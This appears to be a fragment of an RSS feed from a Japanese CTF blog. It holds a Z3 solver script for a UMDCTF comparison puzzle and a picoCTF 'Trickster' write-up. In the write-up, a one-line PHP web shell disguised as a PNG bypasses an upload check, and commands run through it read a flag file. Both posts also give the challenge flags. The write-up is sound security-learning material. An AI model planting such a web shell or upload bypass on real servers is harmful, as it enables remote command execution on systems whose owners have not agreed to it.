&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">op&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">tokens&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">right&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">resolve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">tokens&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Z3 の比較式を構築&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">op&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;==&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cond&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">left&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">right&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">op&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;!=&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cond&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">left&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">right&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">op&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cond&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">left&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">right&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">op&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cond&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">left&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">right&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">op&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;&amp;gt;=&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cond&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">left&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">right&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">op&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;&amp;lt;=&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cond&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">left&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="n">right&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">raise&lt;/span> &lt;span class="ne">ValueError&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Unknown operator: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">op&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">conditions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cond&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">conditions&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">Int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;s[&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">]&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">81&lt;/span>&lt;span class="p">)]&lt;/span> &lt;span class="c1"># s[0] to s[80]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">solver&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Solver&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">input&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">s[69] == s[68] &amp;gt; s[58] == s[26] &amp;gt; s[18] == s[43] &amp;gt; s[28] == s[48] == s[78] &amp;gt; s[5] == s[62] == s[72] &amp;gt; s[70] == s[51] == s[2] &amp;gt; s[31] == s[57] &amp;gt; s[41] == s[10] &amp;gt; s[24] == s[55] == s[36] == s[39] &amp;gt; 0 != s[45] != 0 != s[30] != 0 != s[32] != 0 != s[42] != 0 != s[16] != 0 != s[80] != 0 != s[44] != 0 != s[8] != 0 != s[72] != 0 != s[43] != 0 != s[4] != 0 != s[12] != 0 != s[78] != 0 != s[79] != 0 != s[66] != 0 != s[62] != 0 != s[41] != 0 != s[25] != 0 != s[31] != 0 != s[34] != 0 != s[1] != 0 != s[77] != 0 != s[69] != 0 != s[68] != 0 != s[5] != 0 != s[11] != 0 != s[18] != 0 != s[65] != 0 != s[59] != 0 != s[3] != 0 != s[55] != 0 != s[73] != 0 != s[39] != 0 != s[21] != 0 != s[76] != 0 != s[54] != 0 != s[22] != 0 != s[27] != 0 != s[60] != 0 != s[67] != 0 != s[61] != 0 != s[63] != 0 != s[19] != 0 != s[9] != 0 != s[6] != 0 != s[57] != 0 != s[50] != 0 != s[29] != 0 != s[52] != 0 != s[14] != 0 != s[49] != 0 != s[53] != 0 != s[64] != 0 != s[13] != 0 != s[36] != 0 != s[74] != 0 != s[15] != 0 != s[7] != 0 != s[47] != 0 != s[2] != 0 != s[26] != 0 != s[37] != 0 != s[10] != 0 != s[28] != 0 != s[51] != 0 != s[71] != 0 != s[17] != 0 != s[75] != 0 != s[24] != 0 != s[33] != 0 != s[70] != 0 != s[35] != 0 != s[46] != 0 != s[58] != 0 != s[56] != 0 != s[48] != 0 != s[38] != 0 != s[20] != 0 != s[0] != 0 != s[40] != 0 != s[23] != s[31] != s[53] != s[43] != s[24] != s[48] != s[74] != s[50] != s[29] != s[42] != s[7] != s[29] != s[44] != s[68] != s[67] != s[37] != s[48] != s[22] != s[28] != s[72] != s[13] != s[67] != s[65] != s[61] != s[35] != s[59] != s[54] != s[18] != s[53] != s[6] != s[72] != s[76] != s[64] != s[7] != s[33] != s[43] != s[61] != s[49] != s[65] != s[43] != s[37] != s[1] != s[65] != s[6] != s[31] != s[2] != s[9] != s[73] != s[60] != s[25] != s[26] != s[78] != s[76] != s[70] != s[16] != s[12] != s[17] != s[57] != s[48] != s[43] != s[35] != s[15] != s[80] != s[69] != s[52] != s[46] != s[63] != s[25] != s[17] != s[2] != s[66] != s[52] != s[9] != s[59] != s[8] != s[35] != s[67] != s[51] != s[55] != s[14] != s[75] != s[4] != s[14] != s[10] != s[5] != s[66] != s[47] != s[31] != s[43] != s[64] != s[44] != s[11] != s[2] != s[3] != s[52] != s[30] != s[27] != s[35] != s[32] != s[8] != s[20] != s[46] != s[4] != s[36] != s[71] != s[59] != s[5] != s[56] != s[17] != s[50] != s[25] != s[47] != s[11] != s[28] != s[30] != s[13] != s[7] != s[28] != s[42] != s[1] != s[25] != s[19] != s[71] != s[60] != s[8] != s[34] != s[64] != s[30] != s[76] != s[29] != s[41] != s[70] != s[15] != s[13] != s[60] != s[33] != s[71] != s[23] != s[2] != s[57] != s[78] != s[69] != s[33] != s[64] != s[79] != s[20] != s[44] != s[75] != s[30] != s[11] != s[3] != s[72] != s[15] != s[79] != s[41] != s[36] != s[32] != s[44] != s[71] != s[34] != s[50] != s[78] != s[12] != s[2] != s[73] != s[33] != s[8] != s[49] != s[24] != s[17] != s[21] != s[40] != s[30] != s[4] != s[72] != s[31] != s[40] != s[65] != s[8] != s[18] != s[75] != s[53] != s[14] != s[18] != s[4] != s[41] != s[17] != s[18] != s[23] != s[9] != s[71] != s[68] != s[55] != s[64] != s[32] != s[29] != s[75] != s[3] != s[23] != s[56] != s[25] != s[42] != s[32] != s[28] != s[10] != s[53] != s[4] != s[11] != s[0] != s[61] != s[27] != s[69] != s[25] != s[57] != s[58] != s[16] != s[50] != s[71] != s[13] != s[68] != s[1] != s[24] != s[41] != s[19] != s[78] != s[73] != s[39] != s[53] != s[37] != s[70] != s[13] != s[36] != s[20] != s[15] != s[49] != s[48] != s[77] != s[17] != s[8] != s[12] != s[19] != s[59] != s[20] != s[41] != s[76] != s[21] != s[16] != s[61] != s[44] != s[60] != s[62] != s[66] != s[22] != s[49] != s[35] != s[51] != s[49] != s[53] != s[40] != s[9] != s[27] != s[31] != s[11] != s[29] != s[37] != s[12] != s[18] != s[69] != s[2] != s[5] != s[18] != s[10] != s[4] != s[28] != s[9] != s[50] != s[46] != s[16] != s[48] != s[58] != s[0] != s[72] != s[10] != s[13] != s[79] != s[34] != s[9] != s[66] != s[17] != s[45] != s[75] != s[7] != s[15] != s[59] != s[50] != s[12] != s[74] != s[65] != s[51] != s[79] != s[33] != s[80] != s[78] != s[56] != s[57] != s[26] != s[80] != s[20] != s[4] != s[3] != s[31] != s[67] != s[36] != s[7] != s[51] != s[58] != s[63] != s[13] != s[54] != s[66] != s[8] != s[80] != s[47] != s[23] != s[69] != s[47] != s[73] != s[4] != s[79] != s[7] != s[44] != s[28] != s[66] != s[40] != s[55] != s[79] != s[43] != s[68] != s[40] != s[6] != s[27] != s[16] != s[26] != s[17] != s[76] != s[15] != s[36] != s[60] != s[67] != s[53] != s[24] != s[77] != s[51] != s[27] != s[22] != s[53] != s[73] != s[18] != s[57] != s[50] != s[26] != s[37] != s[58] != s[25] != s[12] != s[26] != s[70] != s[63] != s[45] != s[70] != s[12] != s[29] != s[28] != s[52] != s[22] != s[24] != s[45] != s[19] != s[56] != s[71] != s[67] != s[49] != s[68] != s[61] != s[77] != s[19] != s[23] != s[34] != s[33] != s[59] != s[34] != s[51] != s[43] != s[62] != s[59] != s[32] != s[75] != s[11] != s[6] != s[74] != s[70] != s[29] != s[46] != s[12] != s[54] != s[60] != s[26] != s[56] != s[58] != s[77] != s[1] != s[48] != s[53] != s[27] != s[40] != s[0] != s[47] != s[3] != s[6] != s[39] != s[40] != s[1] != s[14] != s[27] != s[28] != s[69] != s[30] != s[70] != s[42] != s[41] != s[52] != s[11] != s[32] != s[13] != s[61] != s[67] != s[24] != s[37] != s[21] != s[74] != s[1] != s[6] != s[47] != s[5] != s[50] != s[37] != s[16] != s[1] != s[55] != s[6] != s[21] != s[65] != s[32] != s[15] != s[10] != s[30] != s[22] != s[37] != s[31] != s[39] != s[77] != s[78] != s[21] != s[58] != s[42] != s[46] != s[76] != s[77] != s[16] != s[39] != s[75] != s[28] != s[3] != s[79] != s[52] != s[10] != s[64] != s[72] != s[47] != s[9] != s[69] != s[22] != s[6] != s[68] != s[51] != s[16] != s[29] != s[45] != s[32] != s[7] != s[62] != s[80] != s[49] != s[32] != s[20] != s[7] != s[55] != s[35] != s[16] != s[24] != s[78] != s[60] != s[69] != s[26] != s[74] != s[77] != s[35] != s[65] != s[14] != s[22] != s[39] != s[10] != s[73] != s[14] != s[74] != s[46] != s[38] != s[52] != s[20] != s[35] != s[39] != s[51] != s[64] != s[62] != s[34] != s[7] != s[45] != s[11] != s[23] != s[66] != s[12] != s[56] != s[63] != s[29] != s[26] != s[73] != s[5] != s[23] != s[72] != s[63] != s[30] != s[15] != s[44] != s[79] != s[38] != s[76] != s[45] != s[21] != s[41] != s[46] != s[37] != s[74] != s[24] != s[19] != s[34] != s[54] != s[36] != s[79] != s[32] != s[80] != s[71] != s[61] != s[55] != s[74] != s[58] != s[1] != s[38] != s[42] != s[45] != s[77] != s[27] != s[39] != s[14] != s[6] != s[23] != s[0] != s[22] != s[43] != s[55] != s[65] != s[15] != s[8] != s[62] != s[12] != s[57] != s[38] != s[4] != s[39] != s[18] != s[9] != s[5] != s[75] != s[52] != s[27] != s[58] != s[35] != s[80] != s[54] != s[71] != s[5] != s[53] != s[0] != s[3] != s[46] != s[79] != s[62] != s[54] != s[17] != s[62] != s[33] != s[47] != s[2] != s[6] != s[0] != s[39] != s[61] != s[60] != s[47] != s[78] != s[41] != s[77] != s[0] != s[16] != s[74] != s[29] != s[38] != s[58] != s[39] != s[5] != s[19] != s[21] != s[48] != s[63] != s[38] != s[56] != s[34] != s[60] != s[80] != s[34] != s[55] != s[21] != s[24] != s[31] != s[49] != s[55] != s[62] != s[51] != s[33] != s[78] != s[17] != s[19] != s[76] != s[24] != s[58] != s[61] != s[51] != s[0] != s[14] != s[5] != s[4] != s[52] != s[72] != s[75] != s[42] != s[63] != s[41] != s[3] != s[20] != s[13] != s[76] != s[63] != s[15] != s[64] != s[36] != s[68] != s[21] != s[1] != s[56] != s[59] != s[49] != s[37] != s[77] != s[21] != s[14] != s[40] != s[52] != s[36] != s[61] != s[54] != s[57] != s[8] != s[54] != s[67] != s[55] != s[33] != s[25] != s[48] != s[38] != s[25] != s[78] != s[45] != s[46] != s[36] != s[3] != s[30] != s[9] != s[19] != s[57] != s[66] != s[73] != s[69] != s[40] != s[28] != s[45] != s[38] != s[70] != s[10] != s[76] != s[42] != s[44] != s[54] != s[2] != s[62] != s[18] != s[47] != s[26] != s[46] != s[70] != s[64] != s[13] != s[44] != s[45] != s[41] != s[38] != s[20] != s[49] != s[43] != s[7] != s[11] != s[42] != s[57] != s[1] != s[63] != s[64] != s[20] != s[65] != s[68] != s[35] != s[0] != s[2] != s[72] != s[30] != s[66] != s[69] != s[5] != s[34] != s[43] != s[67] != s[22] != s[9] != s[56] != s[42] != s[48] != s[31] != s[22] != s[40] != s[74] != s[68] != s[14] != s[31] != s[0] != s[27] != s[66] != s[18] != s[2] != s[8] != s[71] != s[62] != s[57] != s[63] != s[10] != s[11] != s[72] != s[70] != s[50] != s[19] != s[26] != s[33] != s[54] != s[68] != s[60] != s[59] != s[65] != s[80] != s[73] != s[23] != s[50] != s[56] != s[48] != s[67] != s[44] != s[36] != s[38] != s[3] != s[10] != s[75] != s[73] != s[25] != s[80] != s[59] != s[23]&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">81&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">solver&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># s[i]は1桁の数字&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">constraints&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">parse_constraint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">constraints&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">solver&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">solver&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">check&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">sat&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">model&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">solver&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">model&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">solution&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">evaluate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">as_long&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">81&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num_str&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">solution&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">num_str&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;No solution found&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>これを実行すると，&lt;code>224945891227236799775446158763132236157152174561681439614389755963829948537883684&lt;/code>が得られた．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc ~
input: 224945891227236799775446158763132236157152174561681439614389755963829948537883684
UMDCTF{has_operator_chaining_gone_too_far}
&lt;/code>&lt;/pre>&lt;p>&lt;code>UMDCTF{has_operator_chaining_gone_too_far}&lt;/code>&lt;/p></description></item><item><title>picoGym memo</title><link>https://stark2420.github.io/starknote/post/picogym/</link><pubDate>Thu, 30 Jan 2025 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/picogym/</guid><description>&lt;p>常設のpicoGymに取り組んだ内容をメモしておく．&lt;/p>
&lt;h2 id="web-exploitation">Web Exploitation&lt;/h2>
&lt;h3 id="trickster">Trickster&lt;/h3>
&lt;blockquote>
&lt;p>I found a web app that can help process images: PNG images only!&lt;/p>
&lt;/blockquote>
&lt;p>アクセスすると，PNGファイルをアップロードできるフォームがある．
&lt;code>/robots.txt&lt;/code>へアクセスすると，&lt;/p>
&lt;pre tabindex="0">&lt;code>User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
&lt;/code>&lt;/pre>&lt;p>とあり，&lt;code>/instructions.txt&lt;/code>にアクセスすると，&lt;/p>
&lt;pre tabindex="0">&lt;code>Let&amp;#39;s create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for &amp;#34;.png&amp;#34; extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain &amp;#39;PNG&amp;#39; in hexadecimal: &amp;#34;50 4E 47&amp;#34; )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
&lt;/code>&lt;/pre>&lt;p>とある．以上をまとめると，アップロードしたPNGファイルは&lt;code>/uploads/&lt;/code>に置かれ，
PNGファイルの判別は，ファイル先頭の&amp;rsquo;PNG&amp;rsquo;の文字でのみ行っていると考えられる．&lt;br>
したがって，PNGファイルとして偽装したphpファイルを置くことが出来そうである．&lt;br>
以下の&lt;code>main.png.php&lt;/code>ファイルを作成し，アップロードする．
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">main.png.php&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">PNG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span>&lt;span class="nx">pre&lt;/span>&lt;span class="o">&amp;gt;&amp;lt;?&lt;/span>&lt;span class="nx">php&lt;/span> &lt;span class="nx">system&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;cmd&amp;#34;&lt;/span>&lt;span class="p">]);&lt;/span>&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">&amp;lt;/pre&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>&lt;/p>
&lt;p>そして，&lt;code>/uploads/main.png.php?cmd=find / -name '*.txt'&lt;/code>にアクセスする．&lt;br>
すると&lt;code>/var/www/html/GQ4DOOBVMMYGK.txt&lt;/code>というファイルを発見．&lt;/p>
&lt;pre tabindex="0">&lt;code>PNG
/usr/lib/python3.9/LICENSE.txt
/usr/local/lib/php/.channels/.alias/pear.txt
/usr/local/lib/php/.channels/.alias/pecl.txt
/usr/local/lib/php/.channels/.alias/phpdocs.txt
/usr/local/lib/php/doc/Archive_Tar/docs/Archive_Tar.txt
/usr/share/perl/5.32.1/Unicode/Collate/allkeys.txt
/usr/share/perl/5.32.1/Unicode/Collate/keys.txt
/usr/share/perl/5.32.1/unicore/Blocks.txt
/usr/share/perl/5.32.1/unicore/NamedSequences.txt
/usr/share/perl/5.32.1/unicore/SpecialCasing.txt
/var/www/html/GQ4DOOBVMMYGK.txt
/var/www/html/instructions.txt
/var/www/html/robots.txt
&lt;/code>&lt;/pre>&lt;p>&lt;code>/uploads/main.png.php?cmd=cat /var/www/html/GQ4DOOBVMMYGK.txt&lt;/code>へアクセスすると，flagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>PNG
/* picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e} */
&lt;/code>&lt;/pre></description></item></channel></rss>